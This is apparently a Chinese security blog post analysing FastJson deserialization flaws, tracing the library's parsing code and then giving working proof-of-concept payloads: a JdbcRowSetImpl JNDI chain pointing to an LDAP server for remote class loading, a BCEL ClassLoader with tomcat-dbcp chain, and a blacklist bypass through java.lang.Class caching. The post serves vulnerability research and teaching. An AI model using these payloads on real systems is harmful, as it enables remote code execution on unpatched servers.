小菜鸡xiaocaiji
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

漏洞介绍
FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。
需要的知识储备:
- JNDI注入
- Java反射
代码分析
fastjson使用方法
将需要反序列化的类放到parseObject方法的参数中。
String s = "{\"name\":\"haozai\",\"age\":\"12\"}"; Person p = JSON.parseObject(s,Person.class); System.out.println(p);//Person{age=12, name='haozai'}
反序列化的时候自己指定将类型指定在字符串中,这样的话类型就客户端可控了,因此会出现危险。
String s1 = "{\"@type\":\"com.haozai.serialTest.bean.Person\",\"name\":\"haozai\",\"age\":\"12\"}"; JSONObject p = JSON.parseObject(s1); System.out.println(p); //Person{age=12, name='haozai'}
调试核心查看核心代码
先看一张时序图
由于fastjson源代码中有大量的分支,读起来很费劲,因此对于进不去的分支就不看了。并且,这里给大家推荐配合AI看代码效率翻倍哦。同时也给给点代审小建议,用面向对象的思想看代码,先看整体,在进入到函数看细节。不要直接进入函数内部看他做了什么,这样很容易蒙。
这里直接调试字符串中指定类型的情况。
JSON.parse()
public static JSONObject parseObject(String text) { //核心parse Object obj = parse(text); if (obj instanceof JSONObject) { return (JSONObject) obj; } return (JSONObject) JSON.toJSON(obj); }
一路进入最后的parse函数
public static Object parse(String text, int features) { if (text == null) { return null; } // DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); //返回来的value就是反序列化后的结果 Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; }
这是DefaultJSONParser的属性,这个类是把一些配置等信息放进去,主要的还是parse方法。
DefaultJSONParser.parse()方法
//lexer就是用于解析字符串,里面包括,我们传入的字符串的一些信息。 .... switch (lexer.token()) { case SET: lexer.nextToken(); HashSet<Object> set = new HashSet<Object>(); parseArray(set, fieldName); return set; case TREE_SET: lexer.nextToken(); TreeSet<Object> treeSet = new TreeSet<Object>(); parseArray(treeSet, fieldName); return treeSet; case LBRACKET: JSONArray array = new JSONArray(); parseArray(array, fieldName); if (lexer.isEnabled(Feature.UseObjectArray)) { return array.toArray(); } return array; case LBRACE: //一路来到这里,这里是解析字符串;LBRACE == "{" JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); //这里返回的就是反序列化后的对象,因此进去看下具体情况 return parseObject(object, fieldName); .....
DefaultJSONParser.parseObject()
.... //前面各种解析,到这里解析到第一个key,就是我们输入的@type if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"'); //这里的clazz就是Peson类,具体不细看了,就是把Person加载,如果需要在回来看 Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); if (clazz == null) { //typeName == com.haozai.serialTest.bean.Person object.put(JSON.DEFAULT_TYPE_KEY, typeName); continue; } .... //前面又是一顿解析,到这里,到这里这个函数就结束了 //这里获取到一个反序列器 ObjectDeserializer deserializer = config.getDeserializer(clazz); //进行反序列化并且直接返回 return deserializer.deserialze(this, clazz, fieldName);
ParserConfig.getDeserializer()
先看如何生成反序列化器
//跳到getDeserializer()这个方法中 //上面一段操作这里,把这个当成序列化器 //clazz = Person.class type = com.haozai.serialTest.bean.Person derializer = createJavaBeanDeserializer(clazz, type);
ParserConfig.createJavaBeanDeserializer()
到这里又有一个重要代码
//JavaBeanInfo里面是clazz的一些信息 JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);
JavaBeanInfo.build()
这里遍历了三次,但是为啥他要把method遍历两次呢。
点进去可以看到,第一次的遍历是为了得到setter方法,并把相应的字段、方法存起来。
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, null));
遍历第二次方法的时候
//满足if的条件才会被add进去 //就是返回值类型要是这几个类型 //就是获取getxxx if (Collection.class.isAssignableFrom(method.getReturnType()) // || Map.class.isAssignableFrom(method.getReturnType()) // || AtomicBoolean.class == method.getReturnType() // || AtomicInteger.class == method.getReturnType() // || AtomicLong.class == method.getReturnType() // ) { String propertyName; JSONField annotation = method.getAnnotation(JSONField.class); if (annotation != null && annotation.deserialize()) { continue; } if (annotation != null && annotation.name().length() > 0) { propertyName = annotation.name(); } else { propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4); } FieldInfo fieldInfo = getField(fieldList, propertyName); if (fieldInfo != null) { continue; } if (propertyNamingStrategy != null) { propertyName = propertyNamingStrategy.translate(propertyName); } add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null)); }
通过测试发现,即使要反序列化的类中没有相应的属性,但是有getxxx或setxxx,在add的时候也会把xxx添加到属性列表。
Person类
ParserConfig.getDeserializer()
现在跳出JavaBeanInfo.build()方法,回到getDeserializer()
//在这里把asmEnable设置为false,只有get方法没有set //beanInfo就是我们刚刚JavaBeanInfo的信息, //上面代码显示 for (FieldInfo fieldInfo : beanInfo.fields) { if (fieldInfo.getOnly) { asmEnable = false; break; }
在上面的代码中,我们知道只有满足一些条件getXXX的XXX才会被加入到fields中,这样我们才能让asmEnable设置为false
满足:
- 返回值是其中下面类型的其中一个
- 只能由getxxx方法(满足getOnly)
//满足if的条件才会被add进去 //就是返回值类型要是这几个类型 //就是获取getxxx if (Collection.class.isAssignableFrom(method.getReturnType()) // || Map.class.isAssignableFrom(method.getReturnType()) // || AtomicBoolean.class == method.getReturnType() // || AtomicInteger.class == method.getReturnType() // || AtomicLong.class == method.getReturnType() //
最后执行完毕获取反序列化器
ObjectDeserializer.deserialze()
下面就是最后一步,真正的进行反序列化deserialze
在这里遍历字段,给字段赋值,那么要不用反射硬改,要不调用set方法修改。
可以看到调用setValue了。这里应该就是赋值了。
setXXX就是利用点了。
总结
反序列化的时候利用的条件
1、类中的任意setxxx方法
2、若是getxxx方法,返回值满足要求(见上面代码分析),并且是getOnly
3、要想使用getxxx,保证代码能够执行到序列化的地方,苦难较大。
我们可以写一个类进行测试
package com.haozai.serialTest.bean; import java.io.Serializable; import java.util.HashMap; import java.util.Map; /** * @author jackliu Email: * @description: 测试类 * @Version * @create 2023-08-01 15:59 */ public class Person implements Serializable { private Integer age; private String name; private Map test; public Map getTest() { System.out.println("getTest"); return new HashMap(); } public Person(Integer age, String name) { this.age = age; this.name = name; } public Person() { } public Integer getAge() { System.out.println("getAge"); return age; } public void setAge(Integer age) { System.out.println("setAge"); this.age = age; } public String getName() { System.out.println("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } @Override public String toString() { return "Person{" + "age=" + age + ", name='" + name + '\'' + '}'; } }
main
String s1 = "{\"@type\":\"com.haozai.serialTest.bean.Person\",\"name\":\"haozai\",\"age\":\"12\",\"test\":{}}"; JSONObject jsonObject = JSON.parseObject(s1);
分析下,会调用哪些方法?
直接疑惑?看了一下原来是调用了序列化的操作,我们打断点重新看下。不让他序列化。
这才是我们期待的结果。
利用方式
使用JdbcRowSetImpl
利用条件:
- fastjson<=1.24
- 目标出网
- jdk版本符合JNDI注入条件
相较于原生反序列化,fastjson反序列化并不需要对类实现Serializable。
入口
使用了lookup,并且参数可控,符合JDNI的注入条件,下面只需要进行简单的构造。
查找谁使用了connect()
public void setAutoCommit(boolean autoCommit) throws SQLException { // The connection object should be there // in order to commit the connection handle on or off. if(conn != null) { conn.setAutoCommit(autoCommit); } else { // Coming here means the connection object is null. // So generate a connection handle internally, since // a JdbcRowSet is always connected to a db, it is fine // to get a handle to the connection. // Get hold of a connection handle // and change the autcommit as passesd. conn = connect(); // After setting the below the conn.getAutoCommit() // should return the same value. conn.setAutoCommit(autoCommit); }
方法名称符合setxxx,可以执行。
构造POC
只需要把DataSourceName 设置为开启JNDI服务的恶意类地址,给autoCommit随便设置一个Boolean值。
使用Yakit工具开启一个JNDI服务
package com.haozai.serialTest.fastjson; import com.alibaba.fastjson.JSON; import com.sun.rowset.JdbcRowSetImpl; /** * @author jackliu Email: * @description: FastJson链 * @Version * @create 2023-08-10 9:39 */ public class FastJsonTest { public static void main(String[] args) { String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"DataSourceName\":\"ldap://192.168.56.1:8085/wHFbkouV\"," + "\"autoCommit\":false}"; JSON.parseObject(s); } }
不出网com.sun.org.apache.bcel.internal.util.ClassLoader
利用条件:
- fastjson<=1.24
- Jdk<= 8u251
Java 8u251以后,BCEL这个安全人员的好伙伴就此离家出走了。
入口
protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException { Class cl = null; if ((cl = (Class)this.classes.get(class_name)) == null) { for(int i = 0; i < this.ignored_packages.length; ++i) { if (class_name.startsWith(this.ignored_packages[i])) { cl = this.deferTo.loadClass(class_name); break; } } if (cl == null) { JavaClass clazz = null; if (class_name.indexOf("$$BCEL$$") >= 0) { //这个条件进来,clazz不为空 //根据传入的class_name创建一个类,这个类就是我们读取的class文件 //中的Test类 clazz = this.createClass(class_name); } else { if ((clazz = this.repository.loadClass(class_name)) == null) { throw new ClassNotFoundException(class_name); } clazz = this.modifyClass(clazz); } //clazz不能为空 if (clazz != null) { byte[] bytes = clazz.getBytes(); //执行到这里就可以了 cl = this.defineClass(class_name, bytes, 0, bytes.length); } else { cl = Class.forName(class_name); } }
在createClass这里对class_name进行了加密,因此构造参数的时候也需要先加密
此时我们就可以先尝试利用一下了
部分利用代码
package com.haozai.serialTest.fastjson; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import org.apache.tomcat.dbcp.dbcp.BasicDataSource; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.util.Arrays; /** * @author jackliu Email: * @description: 利用loadClass类进行任意代码执行 * @Version * @create 2023-08-15 16:36 */ public class FastJsonByLoadClass { /** * 在Java 8u251以后,BCEL这个安全人员的好伙伴就此离家出走了,不知道何时会归来。 * 所以,之后测试fastjson反序列化,记得这里有个坑。 * @param args */ public static void main(String[] args) throws Exception { ClassLoader classLoader = new ClassLoader(); byte[] evalByte = getByteFromFile(); // System.out.println(Arrays.toString(evalByte)); //createClass的时候会decode,在这里encode String code = Utility.encode(evalByte, true); // classLoader.loadClass("$$BCEL$$"+code).newInstance(); //弹窗 // BasicDataSource(); } public static byte[] getByteFromFile() throws Exception { String EvalPath="G:\\FlFile\\Test.class"; File file = new File(EvalPath); FileInputStream fis = new FileInputStream(file); byte[] b = new byte[(int) (file.length())]; int read = fis.read(b, 0, (int) (file.length())); return b; } }
现在入口类,找到了,那我们要继续往下找,找到使用了setXXX的方法,调用classLoader.loadClass的,这里可以使用如下工具
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>7.0.47</version> </dependency>
tomcat-dbcp 包是 Apache Tomcat 中的一个组件,它提供了连接池功能,用于管理数据库连接。这个组件的全名是 "Apache Tomcat DBCP",其中 DBCP 表示 "Database Connection Pool",即数据库连接池。
数据库连接池是一种管理数据库连接的技术,它可以在应用程序启动时创建一些数据库连接,并将这些连接保存在一个池中。当应用程序需要与数据库交互时,它可以从连接池中获取一个空闲的数据库连接,使用完毕后将连接返回到池中,以便其他部分的应用程序可以继续使用。这种方式可以有效地管理数据库连接,减少了频繁地创建和关闭数据库连接所带来的开销。
tomcat-dbcp 组件是 Apache Tomcat 内置的连接池实现,它提供了一种可靠的方式来管理应用程序与数据库之间的连接。通过添加上述的 Maven 依赖,您可以将 tomcat-dbcp 集成到您的项目中,从而轻松地使用数据库连接池功能。
Class.forName 方法第一个参数可以接受一个类的全限定名或者一个字节码的 byte 数组作为参数。如果您传递字节码的 byte 数组,那么 Class.forName 实际上会通过反射和动态类加载的方式,将这个字节码加载为一个新的类。
在这种情况下,您不直接使用 defineClass 方法,而是将加载类的责任交给了 Class.forName 方法。内部实现会使用默认的类加载器加载这个新定义的类,并在 JVM 中创建相应的类对象。这样,您可以在运行时动态加载和使用新的类,而无需自己管理类加载器和字节码转换等细节。
Class.forName的 第二个参数是初始化标志,为true的时候会进行初始化,这样的话就能执行静态代码块了。
Class.forName 方法的第三个参数是用来指定使用的类加载器。当您传递第三个参数时,Class.forName 将使用指定的类加载器来加载和初始化目标类。
一般情况下,如果不传递第三个参数,Class.forName 将使用调用方所在的类的类加载器(通常是当前线程上下文类加载器)。但是,通过传递一个自定义的类加载器,您可以控制类的加载过程,例如从不同的位置加载类或者根据需要进行特殊的类加载逻辑。
有了上面的知识,我们只需要把classLoader传入com.sun.org.apache.bcel.internal.util.ClassLoader,driverClassName传入字节码的byte数组,在执行classForName的时候,会执行ClassLoader.loadClass 方法。
并且driverClassName和driverClassLoader都有自己的get/set方法。
最终找到了三处地方使用调用了这个方法
为了方便起见,先尝试利用setLogWriter方法
public static void main(String[] args)throws Exception { ClassLoader classLoader = new ClassLoader(); byte[] evalByte = getByteFromFile(); // System.out.println(Arrays.toString(evalByte)); //createClass的时候会decode,在这里encode String code = Utility.encode(evalByte, true); String evcodes = "$$BCEL$$"+code; // // classLoader.loadClass("$$BCEL$$"+code).newInstance(); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," + "\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," + "\"driverClassName\":\""+evcodes+"\",\"LogWriter\":{\"@type\":\"java.io.PrintWriter\"}}"; System.out.println(s); JSON.parseObject(s);
但是这里报错,没找到java.io.PrintWriter的默认构造器,因为在这个类中没有空参构造器,但是我们知道在使用parseObject的是也会执行toJson,在执行toJson的时候会调用getxxx方法,只要前面不出错,结果表明,前面确实可以不出错,因为前面只是赋值,并没有实质性的调用。
因此主要略微修改一下
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," + "\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," + "\"driverClassName\":\""+evcodes+"\"}"
fastjson<=1.27 绕过
在fastjson1.2.25已经对加载类有限制了,再次使用上面的payload打,发现已经失效了。
在这个类中添加了checkAutoType方法。下面分析一下checkAutoType
checkAutoType
//白名单从配置文件加载,默认为空 /** * 检查自动类型匹配并加载类的方法。 * * @param typeName 类型名,表示要加载的类的名称。 * @param expectClass 预期的类,用于检查类型匹配。 * @return 加载的类,如果匹配成功;否则返回null或抛出异常。 */ public Class<?> checkAutoType(String typeName, Class<?> expectClass) { // 如果类型名为空,直接返回null。 if (typeName == null) { return null; } // 将类型名中的'$'替换为'.',以符合Java类名的规范。 final String className = typeName.replace('$', '.'); // 根据autoTypeSupport标志或者预期的类来决定下一步的处理。 if (autoTypeSupport || expectClass != null) { // 遍历接受列表,查找匹配项。 for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; // 如果类型名以接受列表中的某个项开头,加载并返回对应类。 if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } // 遍历拒绝列表,查找匹配项。 for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; // 如果类型名以拒绝列表中的某个项开头,抛出异常。 if (className.startsWith(deny)) { throw new JSONException("不支持自动类型转换。" + typeName); } } } // 尝试从类型映射中找到对应的类。 Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { // 如果在映射中未找到,尝试使用反序列化器查找类。 clazz = deserializers.findClass(typeName); } if (clazz != null) { // 如果提供了预期类,并且预期类无法从加载的类进行赋值转换,抛出异常。 if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("类型不匹配。" + typeName + " -> " + expectClass.getName()); } return clazz; } // 如果禁用了自动类型支持,再次检查拒绝列表并返回匹配项。 if (!autoTypeSupport) { for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("不支持自动类型转换。" + typeName); } } // 再次遍历接受列表,加载并返回匹配项。 for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); // 如果提供了预期类,并且预期类无法从加载的类进行赋值转换,抛出异常。 if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("类型不匹配。" + typeName + " -> " + expectClass.getName()); } return clazz; } } } // 如果启用了自动类型支持或提供了预期类,加载并处理类。 if (autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } if (clazz != null) { // 检查是否为危险类(如ClassLoader或DataSource)。 if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) { throw new JSONException("不支持自动类型转换。" + typeName); } // 如果提供了预期类,检查是否能从加载的类进行赋值转换。 if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException("类型不匹配。" + typeName + " -> " + expectClass.getName()); } } } // 如果未启用自动类型支持,抛出异常。 if (!autoTypeSupport) { throw new JSONException("不支持自动类型转换。" + typeName); } // 返回加载的类。 return clazz; }
绕过方式:从缓存中加载类的信息就绕过了黑白名单。
缓存存在mappings中,查找哪里执行了put方法。
查找哪里使用了loadClass
找这个可以利用
MiscCodes
MiscCodes类是反序列化器,
//下面这段代码是在deserialze中执行的,从上部分的代码分析, //我们知道deserialze是执行反序列化的最后一步。 //先获取反序列化器,用反序列化器反序列化。 //那么,如果指定@type是java.lang.Class,就会到下面的语句 //但是有一个问题,我们怎么知道使用的是这个反序列化器呢? if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
查找MiscCodes的使用情况
在ParserConfig中把Class类的的反序列化器放入了缓存,因此我们传入的Class类型会直接得到MiscCodes反序列化器进行反序列化。
//黑名单,并没有java.lang.Class,因此我们可以执行到 private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket, java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils, org.apache.commons.collections.Transformer,org.apache.commons.collections.functors, org.apache.commons.collections4.comparators,org.apache.commons.fileupload, org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util, org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript, org.python.core,org.springframework".split(",");
可以顺利执行到这里,这里获得MiscCodes
调试MiscCodes
保证字符串是val
val的值就是解析的对象
在这里把val的值赋值给了strVal
在这里loadClass(val的值)
进入loadClass,在这里把我们指定的类put进了缓存中,这样就和上面对上了。
下面直接构造代码
通过分析我们知道,只需要在使用恶意类前,先把它放到缓存即可。
完整代码
package com.haozai.serialTest.fastjson; import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.classfile.Utility; import java.io.File; import java.io.FileInputStream; import java.io.IOException; /** * @author jackliu Email: * @description: 高版本绕过 * @Version * @create 2023-08-16 10:29 */ public class FastJsonHigherVersion { public static void main(String[] args) throws Exception { byte[] evalByte = getByteFromFile(); // System.out.println(Arrays.toString(evalByte)); //createClass的时候会decode,在这里encode String code = Utility.encode(evalByte, true); String evcodes = "$$BCEL$$"+code; //序列化Class类,值为恶意类,2用之前的paylaod String s = "{" + "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}," + "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," + "{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," + "\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," + "\"driverClassName\":\""+evcodes+"\"}" + "}"; //System.out.println(s); //Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.org.apache.bcel.internal.util.ClassLoader //JSON.parse(s); String s1 = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"DataSourceName\":\"ldap://192.168.56.1:8085/pQRxdIWm\"," + "\"autoCommit\":false}}"; JSON.parse(s1);//弹窗 } public static byte[] getByteFromFile() throws Exception { String EvalPath="G:\\FlFile\\Test.class"; File file = new File(EvalPath); FileInputStream fis = new FileInputStream(file); byte[] b = new byte[(int) (file.length())]; int read = fis.read(b, 0, (int) (file.length())); return b; } }
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)